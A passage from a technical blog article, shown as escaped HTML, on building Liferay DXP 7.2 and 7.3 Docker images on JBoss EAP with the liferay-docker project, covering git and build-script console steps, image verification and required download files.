console (Bash).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3.1 Installing the liferay-docker project extension&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - The zip file of the project from the network via URL https://github.com/smclab/liferay-docker/archive/v1.0.0.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ unzip ~/Downloads/liferay-docker-1.0.0.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3.2 Initializing the Git Repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Replace the Git repository URL with your own&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Give the branch a name that is possibly explanatory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker-1.0.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git init&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git add &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git remote add origin https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git commit -m &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Initial import liferay-docker image builder&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git checkout -b build/liferay-dxp-7.2.10-fp-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3.3 Preparing the directory that will contain the bundles&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 4 Running the image build process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - specify the name of your repository (in this case replace amusarra/liferay-dxp)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - the version of the docker image tag should be as explanatory as possible.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#    In this case it is liferay-dxp-7.2.10-fp-8 which corresponds with the branch name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 7 - Essential Steps for Creating Docker Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At the end of step 4, then the execution of the build_local_image.sh script,
using the &lt;code&gt;docker images&lt;/code&gt; command you can verify the new image just created
(see figure below).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/54be3204e906f949fa0a96df06929c3f/0b569/liferay-dxp-7.2.10-fp-8-docker-images.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:15.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;61\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2061\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2031v30h147a3435%203435%200%2000142-3c1-2%208-2%209%200h-1v1l-1%201h-1c-1%201%2016%201%2052%201h54V0h-51a1020%201020%200%2000-14%201h35l-1%202v3c4%201-6%202-65%202s-66%200-67-2V3c1-1%204-2%2031-2L149%200H0v31m0%200c0%2017%200%2030%201%2029h5l4-1h13c1%201%204%201%205-2h-2c-2-1-12-1-12%201h-1c-1-2-10-2-11%200l-1-2c0-3%202-4%2013-3l4-1h5l4%201c0-2-3-3-14-3-12%200-12%200-12-2s1-2%205-2h8c4%200%206-3%202-3l-2%201H2c-1%201-1%200-1-2%200-3%200-3%205-2l4-1h13c1%201%204%201%205-2%201-1%201-1%201%201l3%202c2%200%203%200%202-2l-1-2v2l-1%201-1-2c-1-2-4-3-4%200h-1c-2-1-12-1-12%201l-1-1H2c-1%201-1%200-1-1%200-3%202-4%2013-3l4-1h5l2%201c2%200%202%200%201-1-1-2-4-2-13-2-12%200-12%200-12-2%200-1%201-2%204-2h12c2%200%202-3-1-3l-2%201h-1c-1-1-3-1-4%201l-1-1H2c-1%201-1%200-1-2%200-3%200-3%205-2l4-1h13c1%201%204%201%205-2H2c-1%201-1%200-1-1%200-3%201-3%204-3l3-1h2c3%202%206%201%206-1l-1-2C11%2010%201%209%201%208h5l6-2c2-3%200-5-7-5H0v30m203-8l1%202h2c1%202%2014%202%2015%200h1l2%201h1l4%201c4%200%204-1%204-3l-1-2-1%202v1l-1-1c0-1-1-2-4-1h-23\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/54be3204e906f949fa0a96df06929c3f/c85cb/liferay-dxp-7.2.10-fp-8-docker-images.webp 300w,/static/54be3204e906f949fa0a96df06929c3f/e88ff/liferay-dxp-7.2.10-fp-8-docker-images.webp 600w,/static/54be3204e906f949fa0a96df06929c3f/92f8c/liferay-dxp-7.2.10-fp-8-docker-images.webp 1200w,/static/54be3204e906f949fa0a96df06929c3f/62ed8/liferay-dxp-7.2.10-fp-8-docker-images.webp 1800w,/static/54be3204e906f949fa0a96df06929c3f/46261/liferay-dxp-7.2.10-fp-8-docker-images.webp 2400w,/static/54be3204e906f949fa0a96df06929c3f/3938d/liferay-dxp-7.2.10-fp-8-docker-images.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/54be3204e906f949fa0a96df06929c3f/5a46d/liferay-dxp-7.2.10-fp-8-docker-images.png 300w,/static/54be3204e906f949fa0a96df06929c3f/0a47e/liferay-dxp-7.2.10-fp-8-docker-images.png 600w,/static/54be3204e906f949fa0a96df06929c3f/c1b63/liferay-dxp-7.2.10-fp-8-docker-images.png 1200w,/static/54be3204e906f949fa0a96df06929c3f/d61c2/liferay-dxp-7.2.10-fp-8-docker-images.png 1800w,/static/54be3204e906f949fa0a96df06929c3f/97a96/liferay-dxp-7.2.10-fp-8-docker-images.png 2400w,/static/54be3204e906f949fa0a96df06929c3f/0b569/liferay-dxp-7.2.10-fp-8-docker-images.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 21 - Docker image of Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/54be3204e906f949fa0a96df06929c3f/c1b63/liferay-dxp-7.2.10-fp-8-docker-images.png&quot; title=&quot;Figure 21 - Docker image of Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 21 - Docker image of Liferay DXP 7.2.10 FP 8 + JBoss EAP 7.2.9&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The execution of step 3.2 is completely optional for creation purposes
Docker image. The advantage of initializing the build environment as
Git repository, lies in the fact that once it is established that it works
of the newly created image, after performing the commit and push operations,
we can build the specific version at any time
image.&lt;/p&gt;&lt;p&gt;Another advantage of using Git for versioning of image creation it is
immediately evident when using the &lt;code&gt;docker image inspect &amp;lt;imageid&amp;gt;&lt;/code&gt; command.
The Docker image labels report information about the commit hash and the
url of the repository, as shown in the figure below.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1147px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/dc61a/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;195\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20195\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2097v98h401V0H219A4123%204123%200%200017%200H0v97M241%206c0%203%201%203%204%203%202%200%203%200%203-2h1l1%201h13l1-1c0%201%201%202%204%202l3-1h-1l-1-1%201-1c1-1%200-1-1-1h-2l-3-1-4%201-1%201V5l-1-1-2%201-3%201-2-1c1-1%200-1-2-1l-5%203c-1%201-1%201-1-1l-1-2-1%202M50%2021l-4%201-8-1-8%201%201%201%202%201c1%202%209%202%2010%200h1c1%202%2010%203%2010%200l1%201%201%201h6c2-1%203-4%201-5h-2l-5%201c-2%200-3%201-3%202%200%202-2%200-2-2l-1-1m110%2092l1%201v2c0%203%201%203%202%200%201-2%201-2%201%200s0%202%209%202l11-1h1l8%201c8%200%209-1%209-3l-2-2c-1-1-1%200-1%201v2l-1-1c0-2-1-2-2-1-2%201-6%201-6-1s-2-1-3%201h-1c0-2-2-3-3-1l-2%201h-8c-1%201-2%201-2-1h-11m77%200l1%201v5l1-3c2-2%203-3%203%200%201%200%201%201%200%200l-1%201%204%201c2%200%203-1%203-2h2l2%201h8c6%201%207%201%207-1s-3-3-3-2h-2l-3-1h-6l-8%202h-1v-1l-1-1a668%20668%200%2001-6%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/c85cb/liferay-dxp-7.2.10-fp-8-docker-image-inspect.webp 300w,/static/025e23e08e9dfe8f8f75dd185655a205/e88ff/liferay-dxp-7.2.10-fp-8-docker-image-inspect.webp 600w,/static/025e23e08e9dfe8f8f75dd185655a205/f8f9f/liferay-dxp-7.2.10-fp-8-docker-image-inspect.webp 1147w&quot; sizes=&quot;(max-width: 1147px) 100vw, 1147px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/5a46d/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png 300w,/static/025e23e08e9dfe8f8f75dd185655a205/0a47e/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png 600w,/static/025e23e08e9dfe8f8f75dd185655a205/dc61a/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png 1147w&quot; sizes=&quot;(max-width: 1147px) 100vw, 1147px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 22 - Output part of the docker image inspect command with references to Git (or VCS) highlighted&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/025e23e08e9dfe8f8f75dd185655a205/dc61a/liferay-dxp-7.2.10-fp-8-docker-image-inspect.png&quot; title=&quot;Figure 22 - Output part of the docker image inspect command with references to Git (or VCS) highlighted&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 22 - Output part of the docker image inspect command with references to Git (or VCS) highlighted&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 Clone of the liferay-docker repository and checkout of the version branch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Replace the Git repository URL with your own&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone -b build/liferay-dxp-7.2.10-fp-8 https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 Running the image build process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-fp-8 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 8 - Creating a specific version of the Liferay Docker image starting from the Git repository&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In order to perform a verification of the newly created image, it is enough
run the &lt;code&gt;docker run -it {&amp;lt;imageid&amp;gt; | &amp;lt;image name&amp;gt;}&lt;/code&gt; command. From the logs shown in
console we can check if the Liferay instance does not go up correctly.&lt;/p&gt;&lt;p&gt;Using the &lt;code&gt;docker ps&lt;/code&gt; command, and looking at the &lt;strong&gt;status&lt;/strong&gt; column we should see
initially the &lt;strong&gt;health: starting&lt;/strong&gt; value which should become &lt;strong&gt;healthy&lt;/strong&gt; when the
Liferay service is on, as shown by the two figures below.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/b88bf/docker-ps-check-status-container-health-starting.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:10%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;39\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2039\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2020v19h14l9-1c-4%200-5%200-4-2%200-1%200-2-2-2-3%200-4%203-1%203%201%201-2%201-7%201H1v-3l1-2%2010-1%2011-1h-1l-2-1c0-2%203-2%206-1l-1%202v1l1-1%201-1%201%201c-1%201%204%201%2012%201%209%200%2013%200%2012-1v-1l1-1-3%201c-1%202-3%200-2-2l1%201h1c0-2%206-1%206%200l-1%202v1l2-1h1l15%201c13%200%2014%200%2014-2l2-2v3c-1%201%201%201%209%201%207%200%2010%200%209-1h-2l-2-1h-1l-1%201-2-2%201-1h3c1-1%201-1%201%201h1c0-2%209-1%209%201l-1%201h-3c-1%201%202%201%208%201l10-1h1l69%201c61%200%2070%200%2071%202%201%201%201%201-1%203-1%202-1%202%202%202s3%200%203-3%200-4%202-4l1%204v3h125V0h-67c-67%200-67%200-66%202%202%202%202%202%201%203-1%202-10%202-71%202h-70l1-2-1-3v1c1%204%200%204-64%204H2L1%204V1h78l79-1H0v20m0%200l1%2015%201-4h4l4-1h1l1%201c3-2%201-4-3-4l-8-1c0-1%201-2%202-1l1-1c0-2%201-2%203-1%202%202%2021%202%2021%200s-1-2-4-2l-4%201h-1c-1-1-11-1-11%201l-1-1-2-1c-3%202-4%201-4-4v-6l5%201c3%200%204%200%204-2h1c1%202%201%202%201%200%201-2%201-2-5-2L1%209V5L0%2020\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/c85cb/docker-ps-check-status-container-health-starting.webp 300w,/static/72c7c78004f50eca52b2a699f6e6822f/e88ff/docker-ps-check-status-container-health-starting.webp 600w,/static/72c7c78004f50eca52b2a699f6e6822f/92f8c/docker-ps-check-status-container-health-starting.webp 1200w,/static/72c7c78004f50eca52b2a699f6e6822f/53a04/docker-ps-check-status-container-health-starting.webp 1702w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/5a46d/docker-ps-check-status-container-health-starting.png 300w,/static/72c7c78004f50eca52b2a699f6e6822f/0a47e/docker-ps-check-status-container-health-starting.png 600w,/static/72c7c78004f50eca52b2a699f6e6822f/c1b63/docker-ps-check-status-container-health-starting.png 1200w,/static/72c7c78004f50eca52b2a699f6e6822f/b88bf/docker-ps-check-status-container-health-starting.png 1702w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 23 - Verification of the Liferay service after the creation of the container. Service in the starting phase&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/72c7c78004f50eca52b2a699f6e6822f/c1b63/docker-ps-check-status-container-health-starting.png&quot; title=&quot;Figure 23 - Verification of the Liferay service after the creation of the container. Service in the starting phase&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 23 - Verification of the Liferay service after the creation of the container. Service in the starting phase&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/16fbe952009750c2bd6b089049b943af/bf286/docker-ps-check-status-container-healthy.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:10.333333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;41\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2041\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2021v20h401V0H0v21M80%202H2v6h63a539%20539%200%200065-1l70%201c66%200%2070%200%2071-2%202-2%202-2%200-3-2-2-6-2-57-2L80%202m0%2032H2v6h63a539%20539%200%200065-1l70%201c66%200%2070%200%2071-2%202-2%202-2%200-3-2-2-6-2-57-2L80%2034\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/16fbe952009750c2bd6b089049b943af/c85cb/docker-ps-check-status-container-healthy.webp 300w,/static/16fbe952009750c2bd6b089049b943af/e88ff/docker-ps-check-status-container-healthy.webp 600w,/static/16fbe952009750c2bd6b089049b943af/92f8c/docker-ps-check-status-container-healthy.webp 1200w,/static/16fbe952009750c2bd6b089049b943af/289e4/docker-ps-check-status-container-healthy.webp 1688w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/16fbe952009750c2bd6b089049b943af/5a46d/docker-ps-check-status-container-healthy.png 300w,/static/16fbe952009750c2bd6b089049b943af/0a47e/docker-ps-check-status-container-healthy.png 600w,/static/16fbe952009750c2bd6b089049b943af/c1b63/docker-ps-check-status-container-healthy.png 1200w,/static/16fbe952009750c2bd6b089049b943af/bf286/docker-ps-check-status-container-healthy.png 1688w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 24 - Checking the Liferay service after creating the container. Active service&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/16fbe952009750c2bd6b089049b943af/c1b63/docker-ps-check-status-container-healthy.png&quot; title=&quot;Figure 24 - Checking the Liferay service after creating the container. Active service&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 24 - Checking the Liferay service after creating the container. Active service&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Once you have made all the checks about the goodness of the image, it is possible
proceed with the commit and push operation of the modified files on the Git repository
and then by pushing the newly created image to the Docker repository.&lt;/p&gt;&lt;p&gt;For subsequent image creation operations, operation is simplified whereas it is
no longer necessary to install the liferay-docker extension at least initialize
the Git repository. Console 9 shows the operations to follow in case you have
already done other builds.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 Clone the liferay-docker repository and create a new Liferay image build branch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Replace the Git repository URL with your own&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git checkout -b build/liferay-dxp-7.2.10-sp-3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 Prepare the directory that will contain the bundles for Liferay DXP 7.2 SP 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 Running the image build process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp-3 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 9 - Procedure to start creating a new Liferay Docker image starting from the Git repository&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;8-creating-an-image-with-liferay-dxp-73&quot;&gt;8. Creating an image with Liferay DXP 7.3&lt;/h2&gt;&lt;p&gt;Here we are! As promised at the beginning of the article, let&amp;#x27;s see how to create
the Docker image using the new version of Liferay DXP released October 13, 2020.&lt;/p&gt;&lt;p&gt;The procedure remains absolutely unchanged (see Figure 20 - Essential steps
for creating the Docker Liferay DXP + JBoss EAP image). The first step is
download the Liferay DXP 7.3 files to download from the Liferay Customer Portal.&lt;/p&gt;&lt;p&gt;The files are those indicated below.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Liferay DXP Dependencies: liferay-dxp-dependencies-7.3.10-ga1-20200930160533946.zip&lt;/li&gt;&lt;li&gt;Liferay DXP OSGi Dependencies: liferay-dxp-osgi-7.3.10-ga1-20200930160533946.zip&lt;/li&gt;&lt;li&gt;Liferay DXP WAR: liferay-dxp-7.3.10-ga1-20200930160533946.war&lt;/li&gt;&lt;li&gt;Liferay Patching Tool: patching-tool-2.0.15.zip&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The Patching Tool you should have already downloaded in case you have made one
of previous builds for Liferay DXP 7.2. As for version 7.3 you don&amp;#x27;t need to
download anything else; just released, so there are no fix packs too if
recommended, install the Patching Tool anyway. The figure below shows the download
section for Liferay DXP 7.3, highlighting the file types mentioned download.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
